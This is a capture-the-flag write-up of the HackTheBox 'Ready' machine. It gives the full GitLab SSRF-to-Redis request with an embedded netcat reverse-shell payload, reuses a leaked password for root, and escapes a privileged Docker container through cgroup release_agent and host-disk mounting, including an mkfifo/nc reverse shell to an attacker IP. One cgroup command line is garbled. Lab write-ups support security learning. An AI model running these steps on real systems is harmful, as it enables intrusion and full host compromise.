Ready [HTB]
Table of Contents
Introduction
Ready is a medium Linux Docker GitLab machine from HackTheBox where the attacker will have to exploit a SSRF in order to get a reverse shell, then will have to do some enumeration to get the Docker's root password for a later generation of a file system or produce a command execution in order to get the root flag.
Enumeration
As always, let's start finding all opened ports in the machine.
kali@kali:~$ sudo nmap -sS -p- 10.10.10.220 --open -n -T5 -oN AllPorts.txt
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-13 12:25 EST
Nmap scan report for 10.129.48.170
Host is up (0.040s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
5080/tcp open onscreen
There are just two opened ports. Let's do a deeper about the opened ports.
kali@kali:~$ sudo nmap -sC -sV -p22,5080 10.129.48.170 -n -oN PortsInDepth.txt
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-13 12:27 EST
Nmap scan report for 10.129.48.170
Host is up (0.040s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
5080/tcp open http nginx
| http-robots.txt: 53 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/*/edit /users /help
|_/s/ /snippets/new /snipets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.129.48.170:5080/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.92 seconds
The port 5080 seems to be a web server, which turns out to be an Git Lab web page.
Creating an account and looking at the GitLab version we can see that it isn't updated.
With a quick search on Google, you can arrive to the following exploit, explained by the famous YouTuber LiveOverflow.
Explotation
In order to get a reverse shell, we need to create a new project by importing it using an URL (Create new project/ Import project / Repo by URL
). Then, we fill the gaps in the form, adding the following Git repository URL git://[0:0:0:0:0:ffff:127.0.0.1]:6379/test/ssrf.git
, as you can see below.
After that, we need to intercept the form request using Burpsuite.
POST /projects HTTP/1.1
Host: ready.htb:5080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://ready.htb:5080/projects/new
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Origin: http://ready.htb:5080
Connection: close
Cookie: sidebar_collapsed=false; _gitlab_session=d73945cc73bda0271b9d75e319f8070e; event_filter=all
Upgrade-Insecure-Requests: 1
utf8=%E2%9C%93&authenticity_token=YXEIF0NdJugOlndqsB5w7vjnhUu6DYheLjTniusMFQeqKx3cfqFubJAiBQp70htWf%2FGzSE2o4FMbcY%2BvUPGb4A%3D%3D&project%5Bimport_url%5D=http%3A%2F%2F%5B0%3A0%3A0%3A0%3A0%3Affff%3A127.0.0.1%5D%3A6379%2Ftest%2Fssrf.git&project%5Bci_cd_only%5D=false&project%5Bname%5D=Exploit&project%5Bnamespace_id%5D=6&project%5Bpath%5D=ssrf&project%5Bdescription%5D=&project%5Bvisibility_level%5D=0
In order to get a the reverse shell we need to encode the following payload like an URL, changing the IP and port where the reverse shell will connect to.
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/test
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'| nc -e /bin/bash 10.10.14.147 4444\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
exec
exec
The result is the following.
git%3A%2F%2F%5B0%3A0%3A0%3A0%3A0%3Affff%3A127.0.0.1%5D%3A6379%2Ftest%0A%20multi%0A%20sadd%20resque%3Agitlab%3Aqueues%20system_hook_push%0A%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem_hook_push%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class_eval%5C%22%2C%5C%22open(%5C%27%7C%20nc%20-e%20%2Fbin%2Fbash%2010.10.14.147%204444%5C%27).read%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system_hook_push%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created_at%5C%22%3A1513714403.8122594%2C%5C%22enqueued_at%5C%22%3A1513714403.8129568%7D%22%0A%20exec%0A%20exec%0A%20exec
Now we have to overwrite the data in the variable import_url%5D=
by the payload we have just created. The resulting request will look like this.
POST /projects HTTP/1.1
Host: ready.htb:5080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://ready.htb:5080/projects/new
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Origin: http://ready.htb:5080
Connection: close
Cookie: sidebar_collapsed=false; _gitlab_session=d73945cc73bda0271b9d75e319f8070e; event_filter=all
Upgrade-Insecure-Requests: 1
utf8=%E2%9C%93&authenticity_token=YXEIF0NdJugOlndqsB5w7vjnhUu6DYheLjTniusMFQeqKx3cfqFubJAiBQp70htWf%2FGzSE2o4FMbcY%2BvUPGb4A%3D%3D&project%5Bimport_url%5D=git%3A%2F%2F%5B0%3A0%3A0%3A0%3A0%3Affff%3A127.0.0.1%5D%3A6379%2Ftest%0A%20multi%0A%20sadd%20resque%3Agitlab%3Aqueues%20system_hook_push%0A%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem_hook_push%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class_eval%5C%22%2C%5C%22open(%5C%27%7C%20nc%20-e%20%2Fbin%2Fbash%2010.10.14.147%204444%5C%27).read%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system_hook_push%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created_at%5C%22%3A1513714403.8122594%2C%5C%22enqueued_at%5C%22%3A1513714403.8129568%7D%22%0A%20exec%0A%20exec%0A%20exec&project%5Bci_cd_only%5D=false&project%5Bname%5D=Exploit&project%5Bnamespace_id%5D=6&project%5Bpath%5D=ssrf&project%5Bdescription%5D=&project%5Bvisibility_level%5D=0
Finally, we just have to create a listening port and forward the request in order to get the shell.
Privilege escalation
Shell upgrade
Because the shell isn't tty, we have to upgrade it manually to get it work properly. For that you just need to execute these commands.
python3 -c "import pty; pty.spawn('/bin/bash')"
[Ctrl+z]
stty raw -echo
fg
reset
screen
export TERM=screen
export SHELL=/bin/bash
Enumeration
Looking for passwords in the /opt/backup
directory, we can find a password for an SMTP service.
git@gitlab:/opt/backup$ grep -iR "password" . 2>/dev/null
[...]
./gitlab.rb:gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"
[...]
These credential can be used to become root in the Docker container.
git@gitlab:/opt/backup$ su root
Password: wW59U!ZKMbG9+*#h
root@gitlab:/opt/backup#
Escaping the container
Reading the docker-compose.yml
we can see that this container has been created setting the privileged
flag to true. This means that this container has root capabilities in the host machine, allowing us to access resources which are not accessible in ordinary containers.
root@gitlab:/opt/backup# cat docker-compose.yml
version: '2.4'
services:
web:
image: 'gitlab/gitlab-ce:11.4.7-ce.0'
restart: always
hostname: 'gitlab.example.com'
environment:
GITLAB_OMNIBUS_CONFIG: |
external_url 'http://172.19.0.2'
redis['bind']='127.0.0.1'
redis['port']=6379
gitlab_rails['initial_root_password']=File.read('/root_pass')
networks:
gitlab:
ipv4_address: 172.19.0.2
ports:
- '5080:80'
#- '127.0.0.1:5080:80'
#- '127.0.0.1:50443:443'
#- '127.0.0.1:5022:22'
volumes:
- './srv/gitlab/config:/etc/gitlab'
- './srv/gitlab/logs:/var/log/gitlab'
- './srv/gitlab/data:/var/opt/gitlab'
- './root_pass:/root_pass'
privileged: true
restart: unless-stopped
#mem_limit: 1024m
networks:
gitlab:
driver: bridge
ipam:
config:
- subnet: 172.19.0.0/16
There are several ways to get the root flag from despite being in the container, we are gonna cover both.
Command execution
Thanks to this post we can find a way to execute commands on the host machine, obtaining the the output of the commands, in our case the cat command. To do so, you only have to execute the following commands.
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/xecho 1 > /tmp/cgrp/x/
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "cat /root/root.txt > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output
Furthermore, this exploit can be used to get a reverse shell as the root host.
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "touch /tmp/f; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.xx 4444 > /tmp/f" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
Mounting a file system
The easiest way to get the root flag is by mounting the host file system in a folder we have just created, so we can navigate all over the Linux file system as root. The commands are the following.
root@gitlab:/opt/backup# fdisk -l
...
Device Start End Sectors Size Type
/dev/sda1 2048 4095 2048 1M BIOS boot
/dev/sda2 4096 37746687 37742592 18G Linux filesystem
/dev/sda3 37746688 41940991 4194304 2G Linux swap
root@gitlab:/opt/backup# mkdir /tmp/hostDir/
root@gitlab:/opt/backup# mount /dev/sda2 /tmp/hostDir/
root@gitlab:/opt/backup# cat /tmp/hostDir/root/root.txt
b7***************
root@gitlab:/opt/backup# umount /tmp/hostDir/